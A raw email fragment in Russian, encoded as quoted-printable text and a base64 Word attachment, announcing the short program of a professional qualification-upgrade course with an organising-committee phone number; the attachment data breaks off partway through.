=CF=EE =EE=EA=EE=ED=F7=E0=ED=E8=E8 =EA=F3=F0=F1=E0 =E2=FB=E4=E0=E5=F2= =F1=FF =E4=EE=EA=F3=EC=E5=ED=F2 =EE =EA=F0=E0=F2=EA=EE=F1=F0=EE=F7=ED=EE=EC= =EF=EE=E2=FB=F8=E5=ED=E8=E8 =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=E8=20 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =EE=E1=F0=E0=E7=F6=E0 (=ED= =EE=EC=E5=F0 =EB=E8=F6=E5=ED=E7=E8=E8 =EC=EE=E6=ED=EE =F3=E7=ED=E0=F2=FC = =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3=20 =EE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0)
 
=D2=E5=EB=E5=F4=EE=ED =CE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0: (=F1=EC. =E2= =EF=F0=E8=EA=F0=E5=EF=EB=E5=ED=ED=EE=EC =F4=E0=E9=EB=E5)
 
------=_NextPart_001_0B5E_01CEF18A.4F7B8900-- ------=_NextPart_000_0B5D_01CEF18A.4F7B8900 Content-Type: application/msword; name="kratkaya programma_13-14.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="kratkaya programma_13-14.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAALQAAAAAAAAAA EAAALwAAAAEAAAD+////AAAAACwAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAe8AZBAAA8BK/AAAAAAAAEAAAAAAACAAA0hYAAA4AYmpianrkeuQAAAAAAAAAAAAAAAAAAAAA AAAZBBYALhgAABiOAQAYjgEARgUAAAAAAAAeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAALYIAAAAAAAAtggAAC8W AAAAAAAALxYAAAAAAAAvFgAAAAAAAC8WAAAAAAAALxYAABQAAAAAAAAAAAAAAP////8AAAAAQxYA AAAAAABDFgAAAAAAAEMWAAA4AAAAexYAAAwAAACHFgAADAAAAEMWAAAAAAAAWRkAAGYBAACTFgAA AAAAAJMWAAAAAAAAkxYAAAAAAACTFgAAAAAAAJMWAAAAAAAAbhcAAAAAAABuFwAAAAAAAG4XAAAA AAAAzBgAAAIAAADOGAAAAAAAAM4YAAAAAAAAzhgAAAAAAADOGAAAAAAAAM4YAAAAAAAAzhgAACQA AAC/GgAAsgIAAHEdAAA6AAAA8hgAACEAAAAAAAAAAAAAAAAAAAAAAAAALxYAAAAAAABuFwAAAAAA AAAAAAAAAAAAAAAAAAAAAABuFwAAAAAAAG4XAAAAAAAAbhcAAAAAAABuFwAAAAAAAPIYAAAAAAAA AAAAAAAAAAAvFgAAAAAAAC8WAAAAAAAAkxYAAAAAAAAAAAAAAAAAAJMWAADbAAAAExkAABYAAABS GAAAAAAAAFIYAAAAAAAAUhgAAAAAAABuFwAARgAAAC8WAAAAAAAAkxYAAAAAAAAvFgAAAAAAAJMW AAAAAAAAzBgAAAAAAAAAAAAAAAAAAFIYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAbhcAAAAAAADMGAAAAAAAAAAAAAAAAAAAUhgAAAAAAAAAAAAA AAAAAFIYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUhgAAAAAAACTFgAAAAAAAP////8AAAAAkI9oaCXx zgEAAAAAAAAAAP////8AAAAAtBcAAFIAAABSGAAAAAAAAAAAAAAAAAAAuBgAABQAAAApGQAAMAAA AFkZAAAAAAAAUhgAAAAAAACrHQAAAAAAAAYYAABMAAAAqx0AAAAAAABSGAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABS GAAANgAAAKsdAAAAAAAAAAAAAAAAAAAvFgAAAAAAAIgYAAAwAAAAbhcAAAAAAABuFwAAAAAAAFIY AAAAAAAAbhcAAAAAAABuFwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbhcA AAAAAABuFwAAAAAAAG4XAAAAAAAA8hgAAAAAAADyGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAUhgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG4XAAAA AAAAbhcAAAAAAABuFwAAAAAAAFkZAAAAAAAAbhcAAAAAAABuFwAAAAAAAG4XAAAAAAAAbhcAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAKsdAAAAAAAAbhcAAAAAAABu FwAAAAAAAG4XAAAAAAAAbhcAAAAAAABuFwAAAAAAAG4XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuFwAAAAAAAG4XAAAAAAAAbhcA AAAAAAC2CAAAPwwAAPUUAAA6AQAABQASAQAAGQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABoEIAQQ BCIEGgQQBC8EIAAfBCAEHgQTBCAEEAQcBBwEEAQ6AAsAXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8A XwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwANACoAIAAeBEEEPQQ+ BDIEPQRLBDUEIAA/BEAEMAQyBDgEOwQwBCAAPgREBD4EQAQ8BDsENQQ9BDgETwQgADQEPgQzBD4E MgQ+BEAEPgQyBC4ACwAqACAAHwRABDAEOgRCBDgERwQ1BEEEOgQ4BDUEIAAyBD4EPwRABD4EQQRL BCAAPwRABDgEPAQ1BD0ENQQ9BDgETwQgAD8EQAQ+BEIEPgQ6BD4EOwQ+BDIEIABABDAENwQ9BD4E MwQ7BDAEQQQ4BE8ELgALACoAIAAiBDUERQQ9BD4EOwQ+BDMEOARHBDUEQQQ6BDgENQQgADAEQQQ/ BDUEOgRCBEsEIAA/BEAEPgRCBDgEMgQ+BDQENQQ5BEEEQgQyBDgETwQgADwEPgRIBDUEPQQ9BDgE RwQ1BEEEOgQ4BDwEIAA0BDUEOQRBBEIEMgQ4BE8EPAQgAD0ENQQ0BD4EMQRABD4EQQQ+BDIENQRB BEIEPQRLBEUEIAA6BD4EPQRCBEAEMAQzBDUEPQRCBD4EMgQuAAsAKgAgABAEOgRCBEMEMAQ7BEwE PQRLBDUEIAA/BEAEMAQyBD4EMgRLBDUEIAAyBD4EPwRABD4EQQRLBCAAOARBBD8EPgQ7BD0ENQQ9 BDgETwQgAD4EMQRPBDcEMARCBDUEOwRMBEEEQgQyBC4ACwAqACAAEAQ6BEIEQwQwBDsETAQ9BEsE NQQgAE4EQAQ4BDQEOARHBDUEQQQ6BDgENQQgADIEPgQ/BEAEPgRBBEsEIAA/BEAENQQ6BEAEMARJ BDUEPQQ4BE8EIAA0BD4EMwQ+BDIEPgRABD0ESwRFBCAAPgQxBE8ENwQwBEIENQQ7BEwEQQRCBDIE LgALACoAIAAQBDoEQgRDBDAEOwRMBD0ESwQ1BCAAPwRABDAEOgRCBDgERwQ1BEEEOgQ4BDUEIAAy BD4EPwRABD4EQQRLBCAAQAQwBDEEPgRCBEsEIABBBCAANAQ1BDEEOARCBD4EQAQwBDwEOAQgAD0E MAQgADQEPgRBBEMENAQ1BDEEPQQ+BDkEIABBBEIEMAQ0BDgEOAQgADgEIAA+BEAEMwQwBD0EOAQ3 BDAERgQ4BDgEIABNBEQERAQ1BDoEQgQ4BDIEPQQ+BDkEIAA/BEAENQRCBDUEPQQ3BDgEPgQ9BD0E PgQ5BCAAQAQwBDEEPgRCBEsELgALACoAIAAgBDAEMQQ+BEIEMAQgAD8EPgQgADIESwRPBDIEOwQ1 BD0EOAROBCAAPQQwBEAEQwRIBDUEPQQ4BDkEIAA0BD4EMwQ+BDIEPgRABD0ESwRFBCAAQwRBBDsE PgQyBDgEOQQuAAsAKgAgAB8EQAQwBDoEQgQ4BEcENQRBBDoEOAQ1BCAAPwRABD4EMQQ7BDUEPARL BCAAPgRCBD8EQAQwBDIEOwQ1BD0EOARPBCAAOAQgADQEPgRBBEIEMAQyBDoEOAQgAD8EQAQ1BEIE NQQ9BDcEOAQ5BC4ACwAqACAAHgQ/BEAENQQ0BDUEOwQ1BD0EOAQ1BCAAQQQ+BDQENQRABDYEMAQ9 BDgETwQgAD8EQAQ1BEIENQQ9BDcEOAQ5BC4ACwAqACAAHwRABDgEPgRBBEIEMAQ9BD4EMgQ7BDUE PQQ4BDUEIAAyBEEEQgRABDUERwQ9BD4EMwQ+BCAAOARBBD8EPgQ7BD0ENQQ9BDgETwQuAAsAKgAg ACEEMQQ+BEAEIAA4BD0ERAQ+BEAEPAQwBEYEOAQ4BCAAPgQgAEQEOAQ9BDAEPQRBBD4EMgQ+BDwE IABBBD4EQQRCBD4ETwQ9BDgEOAQgADQEPgQ7BDYEPQQ4BDoEMAQgADgEIAA+BD8EQAQ1BDQENQQ7 BDUEPQQ4BDUEIAA/BDUEQARBBD8ENQQ6BEIEOAQyBCAARAQwBDoEQgQAAAAAAAAAAAAIAAD4DQAA ABIAAJQVAAAmFgAAkhYAAJQWAACWFgAAmhYAAJwWAACgFgAAohYAAKYWAACoFgAArBYAAK4WAAC0 FgAAthYAAMoWAADMFgAA0BYAANIWAADm5ObF5sG5wbnBucG5wbCksKSgwcEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhZoBjxIAAAXFWgGPEgAFmgGPEgANQiBQ0ooAGFK KAARFmgGPEgANQiBQ0ooAGFKKAAPA2oAAAAAFmiFOVkAVQgBBhZohTlZAAA9FWgGPEgAFmgGPEgA NQiBNgiBQioBQ0obAE9KAABQSgAAUUoAAFwIgV0IgWFKGwBuSBkEcGgAAAAAdEgZBANVCAExFWgG PEgAFmgGPEgAQioBQ0obAE9KAABQSgAAUUoAAGFKGwBuSBkEcGgAAAAAdEgZBAAVAAgAAGwIAAAW FQAAXBUAAJIWAACUFgAAmBYAAJoWAACeFgAAoBYAAKQWAACmFgAAqhYAAKwWAADMFgAAzhYAANAW AADSFgAA7wAAAAAAAAAAAAAAAOUAAAAAAAAAAAAAAADTAAAAAAAAAAAAAAAA0wAAAAAAAAAAAAAA ANEAAAAAAAAAAAAAAADlAAAAAAAAAAAAAAAA0QAAAAAAAAAAAAAAAOUAAAAAAAAAAAAAAADRAAAA AAAAAAAAAAAA5QAAAAAAAAAAAAAAANEAAAAAAAAAAAAAAADlAAAAAAAAAAAAAAAA0QAAAAAAAAAA AAAAAM8AAAAAAAAAAAAAAADRAAAAAAAAAAAAAAAA0QAAAAAAAAAAAAAAANEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAEVAAABAAAAEQAAAyQBEmTwAAEAE6RkABSkZABbJAFcJAFhJAFnZAY8SAAACQAAEmTw AAEAFKQAAGdkBjxIAAAPAAADJAESZPAAAQAUpGQAWyQBXCQBYSQBZ2QGPEgAABE4BEcENQRBBDoE PgQzBD4EIAAyBDcESwRBBDoEMAQ9BDgETwQuAAsAKgAgAB4EQQQ+BDEENQQ9BD0EPgRBBEIEOAQg ADIENwRLBEEEOgQwBD0EOARPBCAAPQQ1BEMEQQRCBD4EOQQ6BDgEIAA4BCAAPwRABD4ERgQ1BD0E QgQ+BDIEIAAzBD4ENAQ+BDIESwRFBCAALgALACoAIAAfBEAEOARBBEMENgQ0BDUEPQQ4BDUEIAA6 BCAAOARBBD8EPgQ7BD0ENQQ9BDgETgQgADIEIAA9BDAEQgRDBEAENQQgADoEMAQ6BCAAQQQ/BD4E QQQ+BDEEIAA3BDAESQQ4BEIESwQgAD8EQAQwBDIEIAA6BEAENQQ0BDgEQgQ+BEAEMAQuAAsAKgAg ABIENwRLBEEEOgQwBD0EOAQ1BCAAQwQxBEsEQgQ6BD4EMgQgADcEMAQgAD0EMARABEMESAQ1BD0E OAQ1BC4ACwAqACAAIAQwBEEEQgQ+BEAENgQ1BD0EOAQ1BCAANAQ+BDMEPgQyBD4EQAQwBCAAOgQw BDoEIAA8BDUERQQwBD0EOAQ3BDwEIAA3BDAESQQ4BEIESwQgAD8EQAQwBDIEIAA6BEAENQQ0BDgE QgQ+BEAEMAQuAAsAKgAgAB8EPgRABE8ENAQ+BDoEIAA/BD4ENAQzBD4EQgQ+BDIEOgQ4BCAAOARB BDoEPgQyBEsERQQgADwEMARCBDUEQAQ4BDAEOwQ+BDIEIAA4BCAAQQRCBEAEMARCBDUEMwQ4BE8E IAAyBDUENAQ1BD0EOARPBCAANAQ1BDsEMAQgADIEIABBBEMENAQ1BDEEPQRLBEUEIAA+BEAEMwQw BD0EMARFBC4ACwAqACAAHwQ+BEEEOwQ1BDQEPQRPBE8EIABBBEMENAQ1BDEEPQQwBE8EIAA/BEAE MAQ6BEIEOAQ6BDAEIAA/BD4EIAAyBD4EPwRABD4EQQQwBDwEIAA/BEAEOAQ8BDUEPQQ1BD0EOARP BCAAOARBBDoEPgQyBD4EOQQgADQEMAQyBD0EPgRBBEIEOAQuAA0AXwBfAF8AXwBfAF8AXwBfAF8A XwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwANAB8EPgQg AD4EOgQ+BD0ERwQwBD0EOAQ4BCAAOgRDBEAEQQQwBCAAMgRLBDQEMAQ1BEIEQQRPBKAANAQ+BDoE QwQ8BDUEPQRCBCAAPgQgADoEQAQwBEIEOgQ+BEEEQAQ+BEcEPQQ+BDwEIAA/BD4EMgRLBEgENQQ9 BDgEOAQgADoEMgQwBDsEOAREBDgEOgQwBEYEOAQ4BCAAMwQ+BEEEQwQ0BDAEQARBBEIEMgQ1BD0E PQQ+BDMEPgQgAD4EMQRABDAENwRGBDAEoAAoAD0EPgQ8BDUEQAQgADsEOARGBDUEPQQ3BDgEOAQg ADwEPgQ2BD0EPgQgAEMENwQ9BDAEQgRMBCAAPwQ+BCAAQgQ1BDsENQREBD4EPQRDBCAAPgRABDME OgQ+BDwEOARCBDUEQgQwBCkADQANAAMADQANAAQADQANAAMADQANAAQADQANACgAOAAxADIAKQAg ADkAOAA3ACAAOAAzACAAMQA3AA0ADQANAA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsADGQaAEfsIIuILDG QSGwpQYisFIDI5BuBCSQbgQlsAAAF7DEAhiwxAIMkMQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoEGQASAAEACwEPAAcA AwADAAMAAAAEAAgAAACYAAAAngAAAJ4AAACeAAAAngAAAJ4AAACeAAAAngAAAJ4AAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAB2AgAAdgIAAHYCAAB2AgAAdgIAAHYCAAB2AgAA dgIAAHYCAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA+AgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAAqAAAADYGAAA2BgAAFgAAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAAuAAAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAAGgBAABIAQAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAACw AwAANgYAADIGAAAYAAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAAIAQAADAEAABABAAAUAQAAGAE AABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAyBgAAKAIAANgBAADoAQAAIAQA ADAEAABABAAAUAQAAGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAgBAAA MAQAAEAEAABQBAAAYAQAAHAEAACABAAAkAQAAMADAADQAwAA4AMAAPADAAAABAAAEAQAACAEAAAw BAAAQAQAAFAEAABgBAAAcAQAAIAEAACQBAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAAIAQAADAE AABABAAAUAQAAGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAgBAAAMAQA AEAEAABQBAAAYAQAAHAEAACABAAAkAQAAMADAADQAwAA4AMAAPADAAAABAAAEAQAACAEAAAwBAAA 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 